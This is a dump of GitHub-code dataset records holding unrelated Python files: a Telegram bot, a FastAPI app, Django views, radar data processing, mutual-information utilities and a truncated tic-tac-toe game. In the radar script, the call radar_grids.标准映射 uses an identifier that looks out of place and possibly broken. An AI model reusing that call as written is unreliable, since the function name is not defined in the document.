csv_output.write(\" \".join(v) + \"\\n\")\n\nexit()","repo_name":"MatthewLoffredo/Antismash-Pipeline","sub_path":"AntismashScript.py","file_name":"AntismashScript.py","file_ext":"py","file_size_in_byte":4094,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"73731783948","text":"from model import FrameTargetIdentificationRNN, FrameTargetIdentificationParam, configuration\nfrom unittest.mock import Mock, MagicMock\nimport torch\nfrom torchtext.vocab import FastText\n\nTEXT_EMBEDDING = FastText('simple')\n\ndevice = 'cpu'\n\nmodel_param = FrameTargetIdentificationParam(**dict(\n input_size=2,\n postag_size=3,\n lemma_size=4,\n output_size=2,\n pretrained_dim=TEXT_EMBEDDING.dim\n))\ntokens = torch.tensor([0, 1])\npostags = torch.tensor([1, 2])\nlemmas = torch.tensor([2, 3])\n\n\ndef lin1(model: FrameTargetIdentificationRNN, tokens, postags, lemmas):\n tokens_x = model.token_embedding(tokens)\n postags_x = model.postag_embedding(postags)\n lemmas_x = model.lemma_embedding(lemmas)\n pretrained_x = torch.zeros(tokens.shape[0], model.pretrained_embedding.dim)\n for i, token in enumerate(tokens):\n pretrained_x[i] = model.pretrained_embedding[token]\n\n x = torch.cat([tokens_x, postags_x, lemmas_x, pretrained_x], dim=1)\n return model.lin1(x)\n\n\ndef test_lin1():\n model = FrameTargetIdentificationRNN(TEXT_EMBEDDING, model_param)\n x = lin1(model, tokens, postags, lemmas)\n\n assert x.shape[0] == len(tokens)\n assert x.shape[1] == model_param.bilstm_input_size\n\n\ndef test_bilstm():\n model = FrameTargetIdentificationRNN(TEXT_EMBEDDING, model_param)\n x = lin1(model, tokens, postags, lemmas)\n\n x, _ = model.bilstm(x.view(x.shape[0], 1, x.shape[1]))\n\n assert len(x.shape) == 3\n assert x.shape[0] == model_param.bilstm_layer_size\n assert x.shape[1] == model_param.bilstm_hidden_size\n\n\ndef test_with_sentence_input():\n model = FrameTargetIdentificationRNN(TEXT_EMBEDDING, model_param)\n\n model.forward()","repo_name":"ariepratama/opensesame-pytorch","sub_path":"model_targetid_test.py","file_name":"model_targetid_test.py","file_ext":"py","file_size_in_byte":1676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12638816552","text":"import os\n\nfrom dotenv import load_dotenv\nfrom telegram import Update, ReplyKeyboardRemove\nfrom telegram.constants import ParseMode\nfrom telegram.ext import Application, CommandHandler, CallbackContext, CallbackQueryHandler\n\nimport database\nimport telegram_helper\n\n# Load the environment variables\n\nload_dotenv()\n\nTOKEN = os.getenv(\"TOKEN\")\nPORT = int(os.getenv('PORT', 5000))\nHEROKU_PATH = os.getenv('HEROKU_PATH')\n\n\nasync def start(update: Update, context: CallbackContext) -> None:\n \"\"\"Send a message when the command /start is issued.\"\"\"\n user = update.message.from_user\n database.new_user(user.id, user.first_name, user.last_name, user.username)\n text = \"Bienvenue sur le bot du 1234 !\\n\"\n text += \"Ici tu peux commander des super cafés !\\n\"\n await update.message.delete()\n await update.message.reply_text(text, reply_markup=telegram_helper.get_start_order_keyboard())\n return\n\n\nasync def help_command(update: Update, context: CallbackContext) -> None:\n \"\"\"Send a message when the command /help is issued.\"\"\"\n await update.message.reply_text('Contactez @eliorpap pour plus d\\'infos !')\n return\n\n\nasync def dump(update: Update, context: CallbackContext) -> None:\n \"\"\"Dump the update object.\"\"\"\n await update.message.reply_text(f\"```{update}```\", parse_mode=ParseMode.MARKDOWN_V2)\n return\n\n\nasync def test_connection(update: Update, context: CallbackContext) -> None:\n \"\"\"Test the connection to MongoDB.\"\"\"\n await update.message.reply_text(database.test_connection(database.connect()))\n return\n\n\nasync def send_coffee(update: Update, context: CallbackContext) -> None:\n \"\"\"Send the coffe menu.\"\"\"\n text, reply_markup = telegram_helper.get_coffee_options()\n if update.message is not None:\n await update.message.reply_text(text, reply_markup=reply_markup)\n elif update.callback_query is not None:\n await update.callback_query.edit_message_text(text, reply_markup=reply_markup)\n return\n\n\nasync def handle_callback_query(update: Update, context: CallbackContext) -> None:\n \"\"\"Handle the callback query.\"\"\"\n query = update.callback_query\n await query.answer()\n\n data = telegram_helper.parse_data_text(query.data)\n if data[0] == telegram_helper.consts.COFFEE_COMMAND:\n text, keyboard = telegram_helper.handle_callback_query_coffee(data[1:], query.from_user.id)\n await query.edit_message_text(text, reply_markup=keyboard)\n elif data[0] == telegram_helper.consts.GLOU_COMMAND:\n await send_coffee(update, context)\n return\n\n\ndef main() -> None:\n \"\"\"Start the bot.\"\"\"\n print(\"Going live!\")\n\n # Create application\n application = Application.builder().token(TOKEN).build()\n\n # on different commands - answer in Telegram\n application.add_handler(CommandHandler(\"start\", start))\n application.add_handler(CommandHandler(\"help\", help_command))\n application.add_handler(CommandHandler(\"dump\", dump))\n application.add_handler(CommandHandler(\"test\", test_connection))\n application.add_handler(CommandHandler(\"glou\", send_coffee))\n\n # on query answer - handle the query\n application.add_handler(CallbackQueryHandler(handle_callback_query))\n\n\n # Start the Bot\n print(\"Bot starting...\")\n if os.environ.get('ENV') == 'DEV':\n application.run_polling()\n elif os.environ.get('ENV') == 'PROD':\n application.run_webhook(listen=\"0.0.0.0\",\n port=int(PORT),\n webhook_url=HEROKU_PATH)\n return\n\n\nif __name__ == '__main__':\n database.init()\n main()\n","repo_name":"Roilek/Sdesk-EPFL-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1798662621","text":"\"\"\"\nGiven a non-empty array of integers, every element appears twice except for one.\nFind that single one.\n\"\"\"\n\n\nclass FindMe:\n def singleNumber(self, nums: List[int]) -> int:\n unique = []\n for i in nums:\n if i not in unique:\n unique.append(i)\n else:\n unique.remove(i)\n return unique[0]\n","repo_name":"PudgyElderGod/SPD1.41","sub_path":"LeetCode/SingleElement.py","file_name":"SingleElement.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3352043554","text":"from fastapi import FastAPI\nfrom starlette.middleware.cors import CORSMiddleware\n\nfrom app.db import create_db_and_tables\nfrom app.routers import api_router\n\n\ndef get_application() -> FastAPI:\n application = FastAPI()\n\n application.add_middleware(\n CORSMiddleware,\n allow_origins=[\"*\"],\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n )\n\n application.add_event_handler(\n \"startup\", create_db_and_tables\n )\n\n application.include_router(api_router, prefix='/api')\n\n return application\n\n\napp = get_application()\n","repo_name":"Jubto/MainstreamMinds","sub_path":"backend/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9158782463","text":"from enum import Enum\n\nfrom app import db\nfrom app.utils.mail import sendmail\n\n\nclass PaymentMethod(Enum):\n cheque = \"cheque\"\n BACS = \"BACS\"\n stripe = \"stripe\"\n manual = \"manual\"\n\n\nclass PaymentStatus(Enum):\n new = \"new\"\n pending = \"pending\"\n received = \"received\"\n error = \"error\"\n\n\nclass Payment(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n created_at = db.Column(db.DateTime, default=db.func.now())\n method = db.Column(db.Enum(PaymentMethod), nullable=False)\n status = db.Column(\n db.Enum(PaymentStatus), nullable=False, default=PaymentStatus.new\n )\n amount = db.Column(db.Float, nullable=True)\n fee = db.Column(db.Float, nullable=True)\n reference = db.Column(db.Text, nullable=True)\n received_at = db.Column(db.DateTime, nullable=True)\n\n @property\n def type(self):\n map = {\n PaymentMethod.cheque: \"Cheque\",\n PaymentMethod.BACS: \"Bank Transfer\",\n PaymentMethod.stripe: \"Online Payment\",\n PaymentMethod.manual: \"Manual Payment\",\n }\n\n return map[self.method]\n\n @property\n def type_name(self):\n map = {\n PaymentMethod.cheque: \"cheque\",\n PaymentMethod.BACS: \"BACS\",\n PaymentMethod.stripe: \"stripe\",\n PaymentMethod.manual: \"manual\",\n }\n\n return map[self.method]\n\n @property\n def status_name(self):\n map = {\n PaymentStatus.new: \"new\",\n PaymentStatus.pending: \"pending\",\n PaymentStatus.received: \"received\",\n PaymentStatus.error: \"error\",\n }\n\n return map[self.status]\n\n @property\n def status_message(self):\n map = {\n PaymentStatus.new: \"Pending\",\n PaymentStatus.pending: \"Pending\",\n PaymentStatus.received: \"Received\",\n PaymentStatus.error: \"Error\",\n }\n\n return map[self.status]\n\n @property\n def status_colour(self):\n map = {\n PaymentStatus.new: \"warning\",\n PaymentStatus.pending: \"warning\",\n PaymentStatus.received: \"success\",\n PaymentStatus.error: \"danger\",\n }\n\n return map[self.status]\n\n def statusIs(self, status):\n return self.status == PaymentStatus(status)\n\n def isBy(self, method):\n return self.method == PaymentMethod(method)\n\n def markReceived(self):\n self.status = PaymentStatus.received\n\n sent = sendmail(\n self.order.entry.contact_email,\n \"Payment Received\",\n \"order-payment-received\",\n order=self.order,\n order_link=self.order.entry.portal_link(\n \"orders.viewOrder\", id=self.order.id\n ),\n )\n\n if sent.status_code == 200:\n return True\n\n else:\n return False\n","repo_name":"owenjones/kohoutek","sub_path":"app/models/Payment.py","file_name":"Payment.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"39447176230","text":"import os\nfrom os.path import join,basename\nimport numpy as np\nimport imageio\nimport time\nfrom models.resnet_my import resnet18\n\nimport torch.multiprocessing as mp\nfrom tqdm import tqdm\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nimport cv2\nimport argparse\nfrom glob import glob\n\nstride = 8\nwidth = 864\nheight = 480\n\n\ndef img2RGB_LAB(path):\n\n MEAN = np.array([0.485, 0.456, 0.406]).reshape(3,1,1)\n STD = np.array([0.229, 0.224, 0.225]).reshape(3,1,1)\n img = cv2.imread(path)\n img = cv2.resize(img,(width,height))\n rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n lab = cv2.cvtColor(rgb, cv2.COLOR_RGB2LAB)\n rgb = rgb.transpose(2,0,1).astype(np.float32)\n lab = lab.transpose(2,0,1).astype(np.float32)\n lab = lab.reshape(3, int(height//stride), stride, int(width//stride), stride).transpose(0,2,4,1,3).reshape(-1, int(height//stride), int(width//stride))\n\n rgb = (rgb/255-MEAN)/STD\n lab = lab/255\n rgb = torch.from_numpy(rgb).float().cuda().unsqueeze(0)\n lab = torch.from_numpy(lab).float().cuda().unsqueeze(0)\n return rgb,lab\n\ndef colorize(feats, labs):\n color_pred_lst = []\n # feats:(B,C,H,W)\n # labs:(B,C,H,W)\n B,C,H,W = feats.size()\n feat1 = feats[0]\n lab1 = labs[0]\n feat1 = feat1.view(C,H*W).permute(1,0) #HW,C\n lab1 = lab1.view(-1,H*W).permute(1,0) #HW,3\n lossLst = []\n for i in range(1,B):\n feat2 = feats[i]\n feat2 = feat2.view(C, H * W).permute(1, 0) #HW,C\n lab2 = labs[i]\n lab2 = lab2.view(-1, H * W).permute(1, 0)\n\n att1 = torch.mm(feat2, feat1.permute(1, 0)) * 25\n att1 = F.softmax(att1, dim=1) # [HW,HW]\n\n lab2_pred = torch.mm(att1, lab1)\n loss_color= F.l1_loss(lab2, lab2_pred)\n lossLst.append(loss_color.item())\n\n # img = lab2.view(H, W, 3, stride, stride).permute(0, 3, 1, 4, 2).reshape(height, width, 3)\n # img_pred = lab2_pred.view(H, W, 3, stride, stride).permute(0, 3, 1, 4, 2).reshape(height, width, 3)\n # img = (img.cpu().numpy()*255).astype(np.uint8)\n # img_pred = (img_pred.cpu().numpy()*255).astype(np.uint8)\n # cv2.imshow('img',img)\n # cv2.imshow('img_pred',img_pred)\n # cv2.waitKey()\n\n\n # color_pred_lst.append(img_pred)\n return np.mean(lossLst)\n\ndef eval_dir(path,model):\n flist = os.listdir(path)\n num = len(flist)\n featLst = []\n labLst = []\n for f in flist:\n rgb,lab = img2RGB_LAB(join(path,f))\n q_color, _, color, _ = model(rgb)\n featLst.append(q_color)\n labLst.append(lab)\n featLst = torch.cat(featLst)\n labLst = torch.cat(labLst)\n lossLst = []\n for i in range(num-31):\n # loss = colorize(featLst[i:i+21], labLst[i:i+21])\n loss = colorize(featLst[[i,i+15,i+30]], labLst[[i,i+15,i+30]])\n lossLst.append(loss)\n return np.mean(lossLst)\n\n\nval_name = [\n'bear',\n'bmx-bumps',\n'boat',\n'boxing-fisheye',\n'breakdance-flare',\n'bus',\n'car-turn',\n'cat-girl',\n'classic-car',\n'color-run',\n'dancing',\n'disc-jockey',\n'dog-gooses',\n'dogs-scale',\n'drift-turn',\n'drone',\n'elephant',\n'flamingo',\n'hike',\n'hockey',\n'kid-football',\n'kite-walk',\n'koala',\n'lady-running',\n'lindy-hop',\n'lucia',\n'mallard-fly',\n'mallard-water',\n'miami-surf',\n'paragliding',\n'rhino',\n'schoolgirls',\n'scooter-board',\n'scooter-gray',\n'sheep',\n'skate-park',\n'snowboard',\n'stroller',\n'stunt',\n'tennis',\n'tractor-sand',\n'train',\n'upside-down',\n'varanus-cage',\n'walking',\n]\n\nif __name__=='__main__':\n # dirlist= os.listdir(r'D:\\data\\DAVIS2017\\JPEGImages\\480p')\n # flist1 = os.listdir(r'D:\\data\\DAVIS2017\\result\\res4_vis')\n # for dir in dirlist:\n # if dir in flist1:\n # continue\n # flist = os.listdir(join(r'D:\\data\\DAVIS2017\\JPEGImages\\480p',dir))\n # if len(flist)>60:\n # print(\"'{}',\".format(dir))\n # # print(dir,len(flist))\n lst = [\n ['color_dul_291_M.pkl', 0.0237991],\n ['color_dul_292_M.pkl', 0.0240105],\n ['color_dul_293_M.pkl', 0.0239755],\n ['color_dul_294_M.pkl', 0.0240390],\n ['color_dul_295_M.pkl', 0.0238615],\n ['color_dul_296_M.pkl', 0.0238913],\n ['color_dul_297_M.pkl', 0.0239387],\n ['color_dul_298_M.pkl', 0.0239216],\n ['color_dul_299_M.pkl', 0.0242335],\n ['color_dul_300_M.pkl', 0.0240904],\n ]\n lst.sort(key=lambda x:x[1])\n for name,loss in lst:\n print(name,loss)\n\n\n parser = argparse.ArgumentParser('')\n parser.add_argument('--prefix', type=str, help=\"模型前缀\")\n parser.add_argument('--datapath', type=str, help=\"数据路径\")\n args = parser.parse_args()\n\n dirLst = []\n for name in val_name:\n dirLst.append(join(args.datapath,name))\n\n modelLst = glob(args.prefix)\n bestLoss = 10000000\n bestModel = 'None'\n for model_path in modelLst:\n print('load model : {}'.format(model_path))\n model_pkl = torch.load(model_path)\n net_sd = model_pkl['model']\n train_config = model_pkl['train_config']\n\n print('create model.')\n print('train_config')\n print(train_config)\n\n feat_mode = 'color_dul'\n if not train_config['is_dul']:\n feat_mode = 'color'\n model = resnet18(model_size=train_config['model_size'], first_kernal_size=train_config['first_kernal_size'],\n feat_mode=feat_mode)\n\n model.load_state_dict(net_sd, strict=True)\n\n for p in model.parameters():\n p.requires_grad = False\n\n # setting the evaluation mode\n model.eval()\n model = model.cuda()\n lossLst = []\n for datapath in tqdm(dirLst):\n loss = eval_dir(datapath,model)\n lossLst.append(loss)\n loss = np.mean(lossLst)\n print('{} : {:.7f}'.format(basename(model_path),loss))\n if loss\n@institution: Monash University and Bureau of Meteorology\n@date: 12/04/2021\n\n.. autosummary::\n :toctree: generated/\n\n buffer\n check_rid\n extract_zip\n get_radar_archive_file\n mkdir\n remove\n savedata\n main\n\"\"\"\nimport os\nimport sys\nimport time\nimport zipfile\nimport argparse\nimport warnings\nimport traceback\n\nfrom typing import List\n\nimport numpy as np\nimport pandas as pd\nimport dask.bag as db\n\nimport radar_grids\n\n\nclass Chronos:\n def __init__(self, messg=None):\n self.messg = messg\n\n def __enter__(self):\n self.start = time.time()\n\n def __exit__(self, ntype, value, traceback):\n self.time = time.time() - self.start\n if self.messg is not None:\n print(f\"{self.messg} took {self.time:.2f}s.\")\n else:\n print(f\"Processed in {self.time:.2f}s.\")\n\n\ndef buffer(infile: str, outpath: str, prefix: str) -> None:\n \"\"\"\n It calls the production line and manages it. Buffer function that is used\n to catch any problem with the processing line without screwing the whole\n multiprocessing stuff.\n\n Parameters:\n ===========\n infile: str\n Name of the input radar file.\n \"\"\"\n try:\n radar_grids.标准映射(infile, outpath, prefix=prefix, refl_name=\"DBZH\", na_standard=True)\n except Exception:\n print(f\"Problem with file {infile}\")\n traceback.print_exc()\n\n return None\n\n\ndef check_rid() -> bool:\n \"\"\"\n Check if the Radar ID provided exists.\n \"\"\"\n indir = f\"/g/data/rq0/level_1/odim_pvol/{RID:02}\"\n return os.path.exists(indir)\n\n\ndef extract_zip(inzip: str, path: str) -> List[str]:\n \"\"\"\n Extract content of a zipfile inside a given directory.\n Parameters:\n ===========\n inzip: str\n Input zip file.\n path: str\n Output path.\n Returns:\n ========\n namelist: List\n List of files extracted from the zip.\n \"\"\"\n with zipfile.ZipFile(inzip) as zid:\n zid.extractall(path=path)\n namelist = [os.path.join(path, f) for f in zid.namelist()]\n return namelist\n\n\ndef get_radar_archive_file(date) -> str:\n \"\"\"\n Return the archive containing the radar file for a given radar ID and a\n given date.\n Parameters:\n ===========\n date: datetime\n Date.\n Returns:\n ========\n file: str\n Radar archive if it exists at the given date.\n \"\"\"\n datestr = date.strftime(\"%Y%m%d\")\n file = f\"/g/data/rq0/level_1/odim_pvol/{RID:02}/{date.year}/vol/{RID:02}_{datestr}.pvol.zip\"\n if not os.path.exists(file):\n return None\n\n return file\n\n\ndef mkdir(path: str) -> None:\n \"\"\"\n Create the DIRECTORY(ies), if they do not already exist\n \"\"\"\n try:\n os.mkdir(path)\n except FileExistsError:\n pass\n\n return None\n\n\ndef remove(flist: List[str]) -> None:\n \"\"\"\n Remove file if it exists.\n \"\"\"\n flist = [f for f in flist if f is not None]\n for f in flist:\n try:\n os.remove(f)\n except FileNotFoundError:\n pass\n return None\n\n\ndef main(date_range) -> None:\n \"\"\"\n Loop over dates:\n 1/ Unzip archives.\n 2/ Generate clutter mask for given date.\n 3/ Generate composite mask.\n 4/ Get the 95th percentile of the clutter reflectivity.\n 5/ Save data for the given date.\n 6/ Remove unzipped file and go to next iteration.\n Parameters:\n ===========\n date_range: Iter\n List of dates to process\n \"\"\"\n prefix = f\"{RID}\"\n for date in date_range:\n # Get zip archive for given radar RID and date.\n zipfile = get_radar_archive_file(date)\n if zipfile is None:\n print(f\"No file found for radar {RID} at date {date}.\")\n continue\n\n # Unzip data/\n namelist = extract_zip(zipfile, path=ZIPDIR)\n try:\n outpath = os.path.join(OUTPATH, prefix)\n mkdir(outpath)\n argslist = [(f, outpath, prefix) for f in namelist]\n with Chronos(f\"Radar {RID} at date {date}\"):\n bag = db.from_sequence(argslist).starmap(buffer)\n _ = bag.compute()\n except Exception:\n traceback.print_exc()\n finally:\n # Removing unzipped files\n remove(namelist)\n\n return None\n\n\nif __name__ == \"__main__\":\n ZIPDIR: str = \"/scratch/kl02/vhl548/unzipdir/\"\n\n parser_description = \"Relative Calibration Adjustment (RCA) - Monitoring of clutter radar reflectivity.\"\n parser = argparse.ArgumentParser(description=parser_description)\n parser.add_argument(\n \"-s\", \"--start-date\", dest=\"start_date\", type=str, help=\"Left bound for generating dates.\", required=True\n )\n parser.add_argument(\n \"-e\", \"--end-date\", dest=\"end_date\", type=str, help=\"Right bound for generating dates.\", required=True\n )\n parser.add_argument(\n \"-r\",\n \"--rid\",\n dest=\"rid\",\n type=int,\n required=True,\n help=\"The individual radar Rapic ID number for the Australian weather radar network.\",\n )\n parser.add_argument(\n \"-o\",\n \"--output\",\n dest=\"output\",\n default=\"/scratch/kl02/vhl548/synthrad/radar_data\",\n type=str,\n help=\"Output directory\",\n )\n\n args = parser.parse_args()\n RID = args.rid\n START_DATE = args.start_date\n END_DATE = args.end_date\n OUTPATH = args.output\n\n try:\n date_range = pd.date_range(START_DATE, END_DATE)\n if len(date_range) == 0:\n parser.error(\"End date older than start date.\")\n except Exception:\n parser.error(\"Invalid dates.\")\n sys.exit()\n\n mkdir(OUTPATH)\n\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n main(date_range)\n","repo_name":"vlouf/radar_grids","sub_path":"scripts/national_archive.py","file_name":"national_archive.py","file_ext":"py","file_size_in_byte":5868,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"} +{"seq_id":"36653780878","text":"import numpy as np\nfrom scipy.special import gamma, psi\nfrom scipy import ndimage\nfrom scipy.linalg import det\nfrom numpy import pi\nimport pandas as pd\n\nfrom sklearn.neighbors import NearestNeighbors\n\n__all__ = [\n 'entropy', 'mutual_information', 'entropy_gaussian',\n 'mutual_information_2d',\n]\n\nEPS = np.finfo(float).eps\n\ndef nearest_distances(X, k=1):\n '''\n X = array(N,M)\n N = number of points\n M = number of dimensions\n returns the distance to the kth nearest neighbor for every point in X\n '''\n knn = NearestNeighbors(n_neighbors=k + 1)\n knn.fit(X)\n d, _ = knn.kneighbors(X) # the first nearest neighbor is itself\n return d[:, -1] # returns the distance to the kth nearest neighbor\n\n\ndef entropy_gaussian(C):\n '''\n Entropy of a gaussian variable with covariance matrix C\n '''\n if np.isscalar(C): # C is the variance\n return .5 * (1 + np.log(2 * pi)) + .5 * np.log(C)\n else:\n n = C.shape[0] # dimension\n return .5 * n * (1 + np.log(2 * pi)) + .5 * np.log(abs(det(C)))\n\n\ndef entropy(X, k=1):\n ''' Returns the entropy of the X.\n Parameters\n ===========\n X : array-like, shape (n_samples, n_features)\n The data the entropy of which is computed\n k : int, optional\n number of nearest neighbors for density estimation\n Notes\n ======\n Kozachenko, L. F. & Leonenko, N. N. 1987 Sample estimate of entropy\n of a random vector. Probl. Inf. Transm. 23, 95-101.\n See also: Evans, D. 2008 A computationally efficient estimator for\n mutual information, Proc. R. Soc. A 464 (2093), 1203-1215.\n and:\n Kraskov A, Stogbauer H, Grassberger P. (2004). Estimating mutual\n information. Phys Rev E 69(6 Pt 2):066138.\n '''\n\n # Distance to kth nearest neighbor\n r = nearest_distances(X, k) # squared distances\n n, d = X.shape\n volume_unit_ball = (pi**(.5 * d)) / gamma(.5 * d + 1)\n '''\n F. Perez-Cruz, (2008). Estimation of Information Theoretic Measures\n for Continuous Random Variables. Advances in Neural Information\n Processing Systems 21 (NIPS). Vancouver (Canada), December.\n return d*mean(log(r))+log(volume_unit_ball)+log(n-1)-log(k)\n '''\n return (d * np.mean(np.log(r + np.finfo(X.dtype).eps)) +\n np.log(volume_unit_ball) + psi(n) - psi(k))\n\n\ndef mutual_information(variables, k=1):\n '''\n Returns the mutual information between any number of variables.\n Each variable is a matrix X = array(n_samples, n_features)\n where\n n = number of samples\n dx,dy = number of dimensions\n Optionally, the following keyword argument can be specified:\n k = number of nearest neighbors for density estimation\n Example: mutual_information((X, Y)), mutual_information((X, Y, Z), k=5)\n '''\n if len(variables) < 2:\n raise AttributeError(\n \"Mutual information must involve at least 2 variables\")\n all_vars = np.hstack(variables)\n return (sum([entropy(X, k=k) for X in variables]) - entropy(all_vars, k=k))\n\n\ndef mutual_information_2d(x, y, sigma=1, normalized=False):\n \"\"\"\n Computes (normalized) mutual information between two 1D variate from a\n joint histogram.\n Parameters\n ----------\n x : 1D array\n first variable\n y : 1D array\n second variable\n sigma: float\n sigma for Gaussian smoothing of the joint histogram\n Returns\n -------\n nmi: float\n the computed similariy measure\n \"\"\"\n bins = (64, 64)\n jh = np.histogram2d(x, y, bins=bins)[0]\n\n # smooth the jh with a gaussian filter of given sigma\n ndimage.gaussian_filter(jh, sigma=sigma, mode='constant', output=jh)\n\n # compute marginal histograms\n jh = jh + EPS\n sh = np.sum(jh)\n jh = jh / sh\n s1 = np.sum(jh, axis=0).reshape((-1, jh.shape[0]))\n s2 = np.sum(jh, axis=1).reshape((jh.shape[1], -1))\n\n # Normalised Mutual Information of:\n # Studholme, jhill & jhawkes (1998).\n # \"A normalized entropy measure of 3-D medical image alignment\".\n # in Proc. Medical Imaging 1998, vol. 3338, San Diego, CA, pp. 132-143.\n if normalized:\n mi = ((np.sum(s1 * np.log(s1)) + np.sum(s2 * np.log(s2))) / np.sum(\n jh * np.log(jh))) - 1\n else:\n mi = (np.sum(jh * np.log(jh)) - np.sum(s1 * np.log(s1)) -\n np.sum(s2 * np.log(s2)))\n\n return mi\n\n","repo_name":"eric-ai-lab/Mitigate-Gender-Bias-in-Image-Search","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4337,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"82"} +{"seq_id":"33027566639","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, JsonResponse\nfrom django.views import generic\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .models import dorsualEntry\nfrom .modules.transkribusConnect import login, getCollections, getDocuments, getDocumentR, changeDorsualTypeInXML\nimport json\n\n# Create your views here.\nclass IndexView(generic.TemplateView):\n template_name = \"index.html\"\n\n\n@csrf_exempt\ndef loginTranskribus(request):\n if request.is_ajax():\n usr = request.POST.get(\"user\", None)\n pw = request.POST.get(\"pw\", None)\n data = login(usr, pw)\n return HttpResponse(data)\n\n\n@csrf_exempt\ndef getCollectionList(request):\n if request.is_ajax():\n collectionList = getCollections(request.POST.get(\"sid\", None))\n return JsonResponse({\"results\": collectionList})\n\n\n@csrf_exempt\ndef getDocumentList(request):\n if request.is_ajax():\n docList = getDocuments(request.POST.get(\"sid\", None), request.POST.get(\"colID\", None))\n return JsonResponse({\"results\": docList})\n\n\n@csrf_exempt\ndef getDocument(request):\n if request.is_ajax():\n doc = getDocumentR(request.POST.get(\"colID\", None), request.POST.get(\"docID\", None), request.POST.get(\"sid\", None))\n return JsonResponse({\"results\": doc})\n\n\n@csrf_exempt\ndef submitJudgement(request):\n if request.is_ajax():\n collID = request.POST.get(\"collID\")\n regionID = request.POST.get(\"regionID\")\n judgement = request.POST.get(\"judgement\")\n docID = request.POST.get(\"docID\")\n docTitle = request.POST.get(\"docTitle\")\n dorType = request.POST.get(\"dorType\")\n image = request.POST.get(\"image\")\n new = dorsualEntry(\n collectionID=collID,\n documentID=docID,\n regionID=regionID,\n docAndRegion=docID+regionID,\n documentTitle=docTitle,\n dorsualType=dorType,\n imageSource=image,\n judgement=True if judgement == \"true\" else False\n )\n new.save()\n return JsonResponse({\"\":\"\"})\n\n\n@csrf_exempt\ndef checkFilter(request):\n if request.is_ajax():\n fil = request.POST.get(\"filter\")\n regionID = request.POST.get(\"regionID\")\n docID = request.POST.get(\"docID\")\n exists = True if dorsualEntry.objects.filter(docAndRegion=docID+regionID).exists() else False\n if exists:\n judgement = dorsualEntry.objects.get(docAndRegion=docID+regionID).judgement\n if judgement:\n return JsonResponse({\"exists\": 1, \"judgement\": 1})\n else:\n return JsonResponse({\"exists\": 1, \"judgement\": 0})\n else:\n return JsonResponse({\"exists\": 0, \"judgement\": 0})\n\n\n@csrf_exempt\ndef changeDorsualType(request):\n if request.is_ajax():\n change_log = request.POST.get(\"changeLog\")\n xmlText = request.POST.get(\"xmlText\")\n collID = request.POST.get(\"collID\")\n docID = request.POST.get(\"docID\")\n sessionID = request.POST.get(\"sessionID\")\n pageNo = request.POST.get(\"pageNo\")\n response = changeDorsualTypeInXML(change_log, xmlText, collID, docID, sessionID, pageNo)\n\n return JsonResponse({\"response\": response})\n","repo_name":"raykyn/heraldik","sub_path":"dorsual/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7298981029","text":"#Algorithm for Tic Tac Toe\r\n\r\n#Board\r\n#players\r\n#handle turns\r\n#check who is the winner\r\n#check row\r\n#check col\r\n#check dia\r\n#tie\r\n\r\nboard=[\"-\",\"-\",\"-\",\r\n \"-\",\"-\",\"-\",\r\n \"-\",\"-\",\"-\"]\r\nplacedPostions = []\r\nswapplayer = True\r\ncurrent_player=\"X\"\r\ngame_is_playing=True\r\nwinner=None\r\n\r\n\r\n\r\ndef display_board():\r\n print(board[0] + \" | \" + board[1] + \" | \" + board[2])\r\n print(board[3] + \" | \" + board[4] + \" | \" + board[5])\r\n print(board[6] + \" | \" + board[7] + \" | \" + board[8])\r\n\r\n\r\ndef handle_turn():\r\n global current_player\r\n global swapplayer\r\n position = int(input(\"Enter the position from 0 to 8:\"))\r\n\r\n if position in placedPostions:\r\n swapplayer = False\r\n print('postion is not free ,please enter different position: ',current_player)\r\n else:\r\n swapplayer = True\r\n board[position] = current_player\r\n placedPostions.append(position)\r\n\r\n\r\ndef swap_player():\r\n global current_player\r\n global swapplayer\r\n if swapplayer:\r\n if current_player==\"X\":\r\n current_player=\"O\"\r\n elif current_player==\"O\":\r\n current_player=\"X\"\r\n\r\n\r\ndef check_the_winner():\r\n global winner\r\n #check row\r\n #check col\r\n #check dia\r\n row_winner=check_row()\r\n if row_winner:\r\n winner=row_winner\r\n\r\n col_winner=check_col()\r\n if col_winner:\r\n winner=col_winner\r\n\r\n dia_winner=check_dia()\r\n if dia_winner:\r\n winner=dia_winner\r\n\r\n\r\n\r\ndef check_row():\r\n global game_is_playing\r\n row_1 = board[0] == board[1] == board[2] != \"-\"\r\n row_2 = board[3] == board[4] == board[5] != \"-\"\r\n row_3 = board[6] == board[7] == board[8] != \"-\"\r\n\r\n if row_1 or row_2 or row_3:\r\n game_is_playing=False\r\n\r\n if row_1:\r\n return board[2]\r\n elif row_2:\r\n return board[4]\r\n elif row_3:\r\n return board[6]\r\n\r\ndef check_col():\r\n global game_is_playing\r\n col_1 = board[0] == board[3] == board[6] != \"-\"\r\n col_2 = board[1] == board[4] == board[7] != \"-\"\r\n 